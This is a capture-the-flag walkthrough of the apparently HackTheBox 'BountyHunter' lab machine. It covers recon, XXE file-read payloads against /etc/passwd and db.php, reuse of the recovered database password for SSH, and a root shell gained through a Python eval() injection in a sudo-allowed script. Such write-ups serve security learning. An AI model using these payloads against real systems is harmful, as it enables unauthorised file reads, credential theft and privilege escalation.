Overview

This box falls into “easy” category. Here we’ll learn a thing or two about XXE (XML external entity), LFI (local file inclusion) and python.


hmm


Recon

nmap

nmap -sCV -v 10.10.11.100

out:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Bounty Hunters
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

port 80 :

http://10.10.11.100

directory discovery/gobuster

gobuster dir -u http://10.10.11.100 -w /usr/share/dirbuster/directory-list-2.3-medium.txt

out:

-===============================================================-
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.100
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/10/30 10:57:22 Starting gobuster in directory enumeration mode
===============================================================
/resources            (Status: 301) [Size: 316] [--> http://10.10.11.100/resources/]
/assets               (Status: 301) [Size: 313] [--> http://10.10.11.100/assets/]
/css                  (Status: 301) [Size: 310] [--> http://10.10.11.100/css/]
/js                   (Status: 301) [Size: 309] [--> http://10.10.11.100/js/]
Progress: 27151 / 220561 (12.31%) 

Here, /resources directory listing contains multiple files one of which happens to be README.txt containing.

Tasks:

[ ] Disable 'test' account on portal and switch to hashed password. Disable nopass.
[X] Write tracker submit script
[ ] Connect tracker submit script to the database
[X] Fix developer group permissions

First task mentions portal, let’s check it out. http://10.10.11.100/portal.php redirects to http://10.10.11.100/log_submit.php

  • NOTE: randomly injecting with XSS payloads doesn’t gives any output, hence checking requests with burp now.

Exploitation

Burp

intercepting request from /log_submit.php after providing random inputs shows passing of data variable with some value that seems URL encoded. Variable being: PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5hPC90aXRsZT4KCQk8Y3dlPmFzPC9jd2U%2BCgkJPGN2c3M%2BYXNkPC9jdnNzPgoJCTxyZXdhcmQ%2BYXNkZjwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg%3D%3D

URL decoding this gives :

PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5hPC90aXRsZT4KCQk8Y3dlPmFzPC9jd2U+CgkJPGN2c3M+YXNkPC9jdnNzPgoJCTxyZXdhcmQ+YXNkZjwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg==

note: select value of variable and send it to decoder tab in burp.

Base64 decoding:

echo "PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5hPC90aXRsZT4KCQk8Y3dlPmFzPC9jd2U+CgkJPGN2c3M+YXNkPC9jdnNzPgoJCTxyZXdhcmQ+YXNkZjwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg==" | base64 -d

out:

<?xml  version="1.0" encoding="ISO-8859-1"?>
		<bugreport>
		<title>a</title>
		<cwe>as</cwe>
		<cvss>asd</cvss>
		<reward>asdf</reward>
		</bugreport>

Here, a as asd asdf were the inputs given by me to /log_submit.php.

LFI

Having seen XML here insinuate possibility of XXE(XML external entity) injection.

Loosely explaining XXE, XML injection into request already passing XML data to server, if XML reflection/output changes according to injection confirms XXE injection.

XML can include files and return to user with file://.

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
<userInfo>
 <firstName>John</firstName>
 <lastName>&ent;</lastName>
</userInfo>
 

Here, file:///etc/shadow denotes server’s root path etc/shadow which will be returned if machine is vulnerable to XXE for this specific payload.

Constructing payload to our specifics.

<?xml  version="1.0" encoding="ISO-8859-1"?>
		<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
		<bugreport>
		<title>lmao</title>
		<cwe>as</cwe>
		<cvss>asd</cvss>
		<reward>&ent;</reward>
		</bugreport>

encoding to base64 :

PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8IURPQ1RZUEUgcmVwbGFjZSBbPCFFTlRJVFkgZW50IFNZU1RFTSAiZmlsZTovLy9ldGMvcGFzc3dkIj4gXT4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5sbWFvPC90aXRsZT4KCQk8Y3dlPmFzPC9jd2U+CgkJPGN2c3M+YXNkPC9jdnNzPgoJCTxyZXdhcmQ+JmVudDs8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4=

encoding special characters (final payload):

PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8IURPQ1RZUEUgcmVwbGFjZSBbPCFFTlRJVFkgZW50IFNZU1RFTSAiZmlsZTovLy9ldGMvcGFzc3dkIj4gXT4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5sbWFvPC90aXRsZT4KCQk8Y3dlPmFzPC9jd2U%2bCgkJPGN2c3M%2bYXNkPC9jdnNzPgoJCTxyZXdhcmQ%2bJmVudDs8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4%3d

Sending this final payload to server with data reflects back with /etc/passwd :

HTTP/1.1 200 OK
Date: Sat, 30 Oct 2021 06:15:55 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 2099
Connection: close
Content-Type: text/html; charset=UTF-8
 
If DB were ready, would have added:
<table>
  <tr>
    <td>Title:</td>
    <td>lmao</td>
  </tr>
  <tr>
    <td>CWE:</td>
    <td>as</td>
  </tr>
  <tr>
    <td>Score:</td>
    <td>asd</td>
  </tr>
  <tr>
    <td>Reward:</td>
    <td>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
</td>
  </tr>
</table>

or

burpbughunter

Gaining access

This tool a lot of time but, I didn’t seem to list directories which meant that I had to directly reference the file in directories which may or maynot be present on box.

we know apache web server is running and almost always website data resides in /var/www/html so after some time and research I decided to hit db.php file because there was mention of a database time and time again during our stay here.

Also, referencing file normally won’t return anything because of understandable contents of the file. To workaround this we’ll use php://filter to base64 encode it and send it to us and we’ll decode it again to gain information contained in the file.

php filter :

php://filter/read=convert.base64-encode/resource=/var/www/html/db.php

Payload looked like this:

<?xml  version="1.0" encoding="ISO-8859-1"?>
		<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/db.php"> ]>
		<bugreport>
		<title>lmao</title>
		<cwe>as</cwe>
		<cvss>asd</cvss>
		<reward>&xxe;</reward>
		</bugreport>

note: I changed reference var to xxe because all the cool kids do that. Anything other than xxe will work fine, it’s just referencing the position where output must be injected.

This payload provides us with output data which is base64 encoded reading : PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=

echo PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo= | base64 -d

gives:

<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

Here, we have a password m19RoAU0hP41A1sTsq6K for user development (why development? see the /etc/passwd file we retrieved earlier one of the users with shell to login is user with username development). admin test aren’t users on this box.

Let’s ssh with the credentials.

ssh development@10.10.11.100

Gaining root

After ssh’ing into the box we see three files in our current working directory.

development@bountyhunter:~$ ls
contract.txt  ticketValidator.py  user.txt
development@bountyhunter:~$

Let’s see what commands our current user can run as sudo:

development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
 
User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
development@bountyhunter:~$

line (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py means that our user can run this script /opt/skytrain_inc/ticketValidator.py as root without password.

This python scripts reads:

#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
 
def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()
 
def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue
 
        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue
 
        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False
 
def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close
 
main()
  • requires file that ends with .md
  • requires file that has its first line as # Skytrain Inc
  • requires file that has its second line as ## Ticket to
  • requires file that has its third line as __Ticket Code:__
  • requires expression that contains ** which is replaced by (nothing) and split with delimiter + and grab [0] (meaning first) column of output stream which has to be a number as it is assigned to ticketcode furthermore, ticketcode value must return 4 after modulating with 7 (4 as remainder when divided with 7)
  • then evaluate an expression that replaces again ** with nothing and carries out a mathematical operation whose result must be greater than number 100.
  • If all these conditions are met then ticket is valid otherwise not.
  • This script is vulnerable where it eval() the mathematical operation where we will call a shell as root.

Taking all this into consideration script ite.md that I created looks something like this:

# Skytrain Inc
## Ticket to
__Ticket Code:__
**109+1==110 and __import__('os').system('/bin/bash')

Finally

development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/home/development/ite.md
Destination:
root@bountyhunter:/home/development# whoami
root
root@bountyhunter:/home/development#

we are root now. And that’s all this box has to offer.